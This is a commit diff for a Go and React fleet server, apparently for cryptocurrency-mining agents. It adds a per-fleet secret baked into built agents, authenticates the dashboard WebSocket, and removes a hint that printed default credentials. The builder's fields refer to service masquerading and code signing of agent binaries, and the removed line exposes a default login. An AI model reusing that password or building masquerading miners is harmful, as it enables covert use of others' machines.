feat: fleet secret auth - zero-setup agent authentication, dashboard WS token, remove credential hints
This commit is contained in:
@@ -43,6 +43,9 @@ type ServerSettings struct {
|
||||
SignCertThumbprint string `json:"sign_cert_thumbprint"`
|
||||
SignToolPath string `json:"sign_tool_path"`
|
||||
SignTimestampURL string `json:"sign_timestamp_url"`
|
||||
// FleetSecret is a random token generated once on first run and baked into
|
||||
// every forged agent binary. Agents must present it on connect or be rejected.
|
||||
FleetSecret string `json:"fleet_secret"`
|
||||
}
|
||||
|
||||
type PoolConfig struct {
|
||||
@@ -549,6 +552,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
if src.Server.SignTimestampURL != "" {
|
||||
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
||||
}
|
||||
if src.Server.FleetSecret != "" {
|
||||
dst.Server.FleetSecret = src.Server.FleetSecret
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/subtle"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
@@ -17,6 +19,33 @@ import (
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
// secureStringEqual compares two strings in constant time to prevent timing attacks.
|
||||
func secureStringEqual(a, b string) bool {
|
||||
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
|
||||
}
|
||||
|
||||
// checkDashboardWSToken validates the ?token= query param on dashboard WS upgrade.
|
||||
// The browser passes btoa("user:pass") — the same value stored in sessionStorage.
|
||||
func checkDashboardWSToken(r *http.Request) bool {
|
||||
token := r.URL.Query().Get("token")
|
||||
if token == "" {
|
||||
return false
|
||||
}
|
||||
decoded, err := base64.StdEncoding.DecodeString(token)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
parts := strings.SplitN(string(decoded), ":", 2)
|
||||
if len(parts) != 2 {
|
||||
return false
|
||||
}
|
||||
user, pass := parts[0], parts[1]
|
||||
usersMu.RLock()
|
||||
expectedPass, exists := authUsers[user]
|
||||
usersMu.RUnlock()
|
||||
return exists && secureStringEqual(pass, expectedPass)
|
||||
}
|
||||
|
||||
var upgrader = websocket.Upgrader{
|
||||
ReadBufferSize: 4096,
|
||||
WriteBufferSize: 4096,
|
||||
@@ -79,6 +108,7 @@ type WSHub struct {
|
||||
agentLogs map[string]string
|
||||
serverPolicy ServerPolicy
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
mu sync.RWMutex
|
||||
}
|
||||
|
||||
@@ -109,6 +139,14 @@ func (h *WSHub) SetPingInterval(seconds int) {
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
// SetFleetSecret stores the shared secret that all forged agents must present.
|
||||
// Called once at startup from main.go after config is loaded.
|
||||
func (h *WSHub) SetFleetSecret(secret string) {
|
||||
h.mu.Lock()
|
||||
h.fleetSecret = secret
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) pingInterval() time.Duration {
|
||||
h.mu.RLock()
|
||||
sec := h.pingIntervalSec
|
||||
@@ -270,6 +308,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
case "auth":
|
||||
var auth struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
FleetSecret string `json:"fleet_secret"`
|
||||
Wallet string `json:"wallet"`
|
||||
Version string `json:"version"`
|
||||
Hostname string `json:"hostname"`
|
||||
@@ -300,6 +339,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
continue
|
||||
}
|
||||
|
||||
// Verify fleet secret. If the server has one configured, the agent must match.
|
||||
h.mu.RLock()
|
||||
requiredSecret := h.fleetSecret
|
||||
h.mu.RUnlock()
|
||||
if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "invalid fleet secret — re-forge this agent",
|
||||
})})
|
||||
log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID)
|
||||
return
|
||||
}
|
||||
|
||||
agentID = auth.AgentID
|
||||
if agentID == "" {
|
||||
agentID = uuid.New().String()
|
||||
@@ -603,6 +654,15 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
// Verify dashboard session. The SPA sends its stored Basic-auth token as
|
||||
// ?token=<base64> because the WS upgrade can't carry Authorization headers.
|
||||
// We decode it and check against the same in-memory user map as the REST API.
|
||||
if !checkDashboardWSToken(r) {
|
||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
|
||||
return
|
||||
}
|
||||
|
||||
conn, err := upgrader.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
log.Printf("Dashboard WebSocket upgrade error: %v", err)
|
||||
|
||||
@@ -121,6 +121,12 @@ type Handler struct {
|
||||
goWinresPath string
|
||||
serverModDir string
|
||||
policy BuildPolicy
|
||||
fleetSecret string // injected from server config; baked into every forge output
|
||||
}
|
||||
|
||||
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
|
||||
func (h *Handler) SetFleetSecret(secret string) {
|
||||
h.fleetSecret = secret
|
||||
}
|
||||
|
||||
type SignPolicy struct {
|
||||
@@ -927,6 +933,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ServiceMasquerade: %v,
|
||||
ServiceName: %q,
|
||||
ServiceDonor: %q,
|
||||
FleetSecret: %q,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -978,6 +985,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
serviceMasqueradeEnabled(req),
|
||||
serviceMasqueradeName(buildID, req),
|
||||
serviceMasqueradeDonor(buildID, req),
|
||||
h.fleetSecret,
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
@@ -38,6 +40,23 @@ func main() {
|
||||
cfg.DataDir = resolveDataDir(cfg.DataDir, projectRoot)
|
||||
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
|
||||
|
||||
// Generate fleet secret once — persisted in config.json so all future forges
|
||||
// carry the same secret and agents keep working across server restarts.
|
||||
if cfg.Server.FleetSecret == "" {
|
||||
b := make([]byte, 32)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
log.Fatalf("Failed to generate fleet secret: %v", err)
|
||||
}
|
||||
cfg.Server.FleetSecret = hex.EncodeToString(b)
|
||||
if err := cfg.Save(); err != nil {
|
||||
log.Printf("[auth] Warning: could not persist fleet secret: %v — agents forged this session will still work", err)
|
||||
} else {
|
||||
log.Printf("[auth] Fleet secret generated and saved — re-forge agents to pick it up")
|
||||
}
|
||||
} else {
|
||||
log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
|
||||
}
|
||||
|
||||
// Ensure data directories exist
|
||||
dirs := []string{
|
||||
cfg.DataDir,
|
||||
@@ -66,6 +85,7 @@ func main() {
|
||||
// Initialize WebSocket hub
|
||||
wsHub := api.NewWSHub(database)
|
||||
wsHub.SetAIHandler(aiHandler)
|
||||
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
|
||||
aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) {
|
||||
wsHub.BroadcastAIActivity(entry)
|
||||
})
|
||||
@@ -78,6 +98,7 @@ func main() {
|
||||
// The agent source is expected at ../agent relative to the server directory
|
||||
agentSrcDir := findAgentSourceDir()
|
||||
builderHandler := builder.NewHandler(database, cfg.DataDir, agentSrcDir, projectRoot)
|
||||
builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
|
||||
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
|
||||
|
||||
defaultPoolCfg := pool.Config{
|
||||
|
||||
@@ -4,7 +4,7 @@ import { getStoredAuth, setStoredAuth } from '../api/auth';
|
||||
export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
const [ready, setReady] = useState(false);
|
||||
const [authed, setAuthed] = useState(!!getStoredAuth());
|
||||
const [user, setUser] = useState('drjones');
|
||||
const [user, setUser] = useState('');
|
||||
const [pass, setPass] = useState('');
|
||||
const [err, setErr] = useState('');
|
||||
|
||||
@@ -72,7 +72,6 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
<button type="submit" className="btn btn-primary btn-lg">
|
||||
Enter Command Deck
|
||||
</button>
|
||||
<p className="form-hint">Default: drjones / czapiewski (change under Calibrate → Users)</p>
|
||||
</form>
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -9,6 +9,7 @@ import type {
|
||||
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||
import { WebSocketContext } from './WebSocketContext';
|
||||
import type { SeqCommandResult } from './WebSocketContext';
|
||||
import { getStoredAuth } from '../api/auth';
|
||||
|
||||
/**
|
||||
* WebSocketProvider mounts a SINGLE WebSocket connection for the whole app.
|
||||
@@ -45,7 +46,8 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
}
|
||||
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`;
|
||||
const token = getStoredAuth();
|
||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard${token ? `?token=${encodeURIComponent(token)}` : ''}`;
|
||||
const ws = new WebSocket(wsUrl);
|
||||
wsRef.current = ws;
|
||||
|
||||
|
||||
Reference in New Issue
Block a user